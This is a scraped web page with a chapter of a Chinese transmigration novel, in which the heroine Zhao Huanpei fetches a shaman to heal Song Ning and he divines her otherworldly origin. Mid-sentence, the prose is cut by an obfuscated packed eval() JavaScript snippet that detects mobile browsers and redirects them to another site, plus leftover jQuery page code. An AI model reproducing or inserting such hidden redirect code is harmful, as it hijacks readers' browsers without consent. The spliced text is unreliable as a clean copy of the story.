赵环佩道:“好,我答应你!只是能不能有杀他的那一天我还真不知道,毕竟现在我在依靠他活命。”
巫医冷笑,“你不是已经抓到了救命稻草?”
赵环佩又是一惊。
巫医道:“不用紧张,你们隐藏得很好。”
赵环佩道:“那你是怎么知道的?还有谁知道?”
“是神明告诉我,神明无所不知。”巫医笑道,“你该不会认为巫医只是医吧?放眼整个天下,从古到今,巫医都不仅仅是医。我不光知道你和谁在一起,我还知道你们迟早会除掉乌拉赞,我知道你曾经所向披靡的秘密……”他紧盯着她,目光如炬,“我甚至还能知道,你来自于哪里。”
赵环佩先是一惊,转念一想,不屑一笑,“胡说八道谁不会?你又何必故作神秘装神弄鬼?天下没有不透风的墙,你知道我些许事也并不稀奇,至于我来自哪里,恐怕你还真没本事知道。”
“是吗?”巫医道,“那姑且一试如何?”
她是来找他救人的,不是来跟他扯淡的!“其他的事以后再说吧!先救人要紧!“
“起个卦而已,用不了多少时间。放心吧,他暂时还死不了。你不也是一样,三番五次死去活来,还不是生龙活虎顶风冒雪的站到我跟前来?”
巫医边说边在神龛下面拿出一个黑得发亮的东西,像壳不是壳,说瓮不是瓮,捧着它在神龛前念念有词。
不多时转过身来让赵环佩坐在他对面,将那黑乎乎的圆鼓鼓的玩意对着赵环佩摇得噼啪作响,赵环佩被那声音震得头痛欲裂,刚想喊他停止他自己便停了下来。随即将那东西开口处对准赵环佩,示意她伸手进去。
“摸两枚出来即可。”
赵环佩甚觉好笑,就凭这玩意他能算出她从哪儿来?她不禁揶揄道:“其实我可以直接告诉你,我从泱国赵家来。”
巫医却正色道:“泱护国将军之小女赵环佩,本该卒于大泱王朝隆庆七年。命绝于水厄。”
赵环佩闻言色变,但她还是嘴硬道:“笑话。”
“你敢不敢让我算一算?”
“有何不敢?”她就不信了,他一个古人能算出来她魂穿。她伸手进去,抓了两个铜钱样的东西,随即赌气心起,他让她抓出两个,她就偏不!于是她放下一个,拿出一个,一看还果真是枚铜钱。
他见状却也不恼,对着那枚铜钱就双手指天,双手指地,一手指天一手指地,变换着动作指了半天又掐着手指头算了起来。
赵环佩皱眉看着他严肃又古怪的样子,还真摸不清他是什么套路。
她在现代书读了不少,影视剧看了不少,也算见多识广,可他这古不古今不今,佛不佛道不道,也不像是个跳大神的,她还真搞不清他师承哪路神仙。
不多时,他睁开了眼,双目如炬,一脸振奋,“我终于知道了!我终于知道了赵家小女死而不亡的秘密!天意啊!天意!此乃天意!”
卧槽,疯子古今皆有啊!赵环佩嘲笑道:“大师,你到底知道了什么秘密?”
“水地否卦,天外之人,鹊巢鸠占,向鬼背天,绝处逢生,重任,自洽。”
赵环佩听得一头雾水,皱眉问道:“何解?”
“顾名思义。你是天外之人,鸠占鹊巢,不符天理道义,不得上苍庇佑,却得妖邪辅助,身处绝境,唯自救可绝处逢生。”
听着似是而非,却好似句句命中,且不说这天外之人到底指的是神仙还是灵魂,就说这不得苍天庇佑,得妖邪相助这事,那追魂枪不就是个邪物?而她每每一翻身就要倒霉,难保不是天不佑她,故意与她为难。身处绝境靠自己,不正是她在突厥国最好的写照?
竟这么准?
她不信邪道:“你让我摸两个,我摸出来的是一个,这算出来的也能做数?”
巫医道:“一切皆为定数。我让你摸出两个你不听,可你为何不摸三个不摸五个,偏偏摸出一个?定数也。”
赵环佩看着巫医,她脸上平静无波,心中却翻起了滔天巨浪,她从穿越过来伊始就一直想回去,她想尽了各种办法做过诸多尝试,甚至还指望过史倘锵,但都无济于事,她无可奈何,甚至都打算干脆放弃不切实际的幻想老死在这里。
她是无论如何都没有想到,在突厥这个荒蛮之地,竟然有一个人,能用一枚铜钱就推断出她是来自于“天际之外”,还能算出她借助邪物,且身处绝境靠自己。
可对一个古人而言,这种事无异于借尸还魂,他就不觉得恐惧?
很显然的,巫医并不觉得恐惧,他手舞足蹈,仿佛发现了了不得的秘密,激动道:“你不愿意承认?就算你不承认也改变不了事实,你是来自天外的人!”
来自天外的人!?呸!他不如直接说她是外星人!承认?如何承认?一杆神枪,满城风雨,搞得她鬼不鬼人不人,弄得她在泱国活不下去,她这魂穿的事一旦传出,恐怕突厥人也要视她为妖邪人人喊打。
这个巫医,他洞悉了她的秘密,她是不是该除掉他?
可宋宁还等着他去救,而且好不容易有个人神通广大能窥见天机,说不定他还有更神通广大的神术,说不定他能帮她回去!
思及此处,她一阵激动,可理智还是战胜了冲动,她矢口否认,并予以讥讽,她在泱国吃够了怪力乱神的苦,绝不会让同样的事情再次发生!
巫医见她如此,并未恼怒,只是送了她八个字,“假的真不了,真的假不了。”
她的矢口否认完全动摇不了他一枚铜钱给予的信心。看来他的确是个高人,等她在突厥站稳了脚跟,不再受制于人,她或许能跟他坦诚相见,推心置腹一番。
“老先生,你算够了没有?算够了就随我速速去救人吧!再耽误下去,宋宁怕是要不行了!”
巫医点头,起身速速收拾行装。
赵环佩纳闷,这次他倒听话,不再磨蹭和推诿了?
回到突厥人的营帐,赵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959813|189842||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
环佩领着巫医来到宋宁所在处,他躺在草垛上,发着高烧,说着胡话,一副有死无活的模样。郎中在一旁抓耳挠腮、满面愁容。
郎中认得巫医,见巫医来了扫去一脸阴霾,仿若云开见月。“这小子是个命大的,有您来他便有救了!”随即他瞅了一眼赵环佩,对全族公愤能把巫医请来这件事颇感诧异。
巫医一言不发,观察了宋宁一会儿,随即打开他随身携带的药箱,从里面拿出一卷布,把布摊开来露出了形形色色的针。
他随即又点燃了药箱里的油灯,拿起一根针在火苗上烤了几下,随即就扎进了宋宁的皮肉里。
这无疑是在针灸,赵环佩却看得心惊肉跳,因为巫医用的针根本就不像现代影视剧里中医用的针那样纤细干净,他的针长短不一而且粗大,上面还泛着黑的棕的篮的色泽。虽然知道他医术高明不至于把宋宁扎死,可估计疼也得疼死了他。
果不其然,宋宁是惨叫着醒来的。
巫医满意的点点头,写了张方子交到了在一旁观看的郎中手里。“六碗水煎成两碗,早一碗,晚一碗。”
那郎中满眼崇拜钦佩,连连点头,将巫医的话奉为圭臬。
赵环佩见方子开出来着实松了一口气,他汤药的厉害她是见识过的,只要喝了巫医的药,宋宁的命一定能保住。
赵环佩千恩万谢的送巫医出来,在门口还是不放心道:“他的腿伤成那样,不知道还能不能恢复?”
巫医道:“看着的确严重。等他好些了就送到我那里去,我给他好好看一看。”
赵环佩闻言松了一口气,笑逐颜开道:“如此多谢巫医!”
“只不过……”巫医欲言又止。
“怎么?“
巫医道:“没什么,或许是我多虑。若要找我,让茨玛告诉秘鲁一声就行,不用亲自前往。”
赵环佩点头,“好。"
“你快回去吧!再不回去当心被乌拉赞发现。”
他这是在关心她?赵环佩简直受宠若惊,要知道来到突厥近一年,她收到的善意与关怀屈指可数。
赵环佩回到毡账刚梳洗完毕,乌拉赞便掀帘进了帐子。
赵环佩吃了一惊,突然想起巫医的话,巫医果真有未卜先知的能力?他怎么知道乌拉赞今晚会来?
赵环佩本就很不愿意见到乌拉赞,何况宋宁还差点没被他折磨死,她尝试了几次,都没能在脸上挤出笑容,索性冷着脸给他请安。
乌拉赞伸手捏住赵环佩的下巴,迫使她抬头看他,“你不愿意见到我?”
她垂下眼帘,“怎么会?奴家只是身体不太舒服。”
“那是我来得不巧了?”乌拉赞脱下外套,赵环佩眼疾手快立即接了过来。“可汗用过膳了吗?”
“还没有。”
乌拉赞看着赵环佩忙前忙后,茨玛愣头愣脑的也不知道打个下手。他不是没派过聪明灵巧的婢女给她,人家不愿意伺候她也怨不得他啊!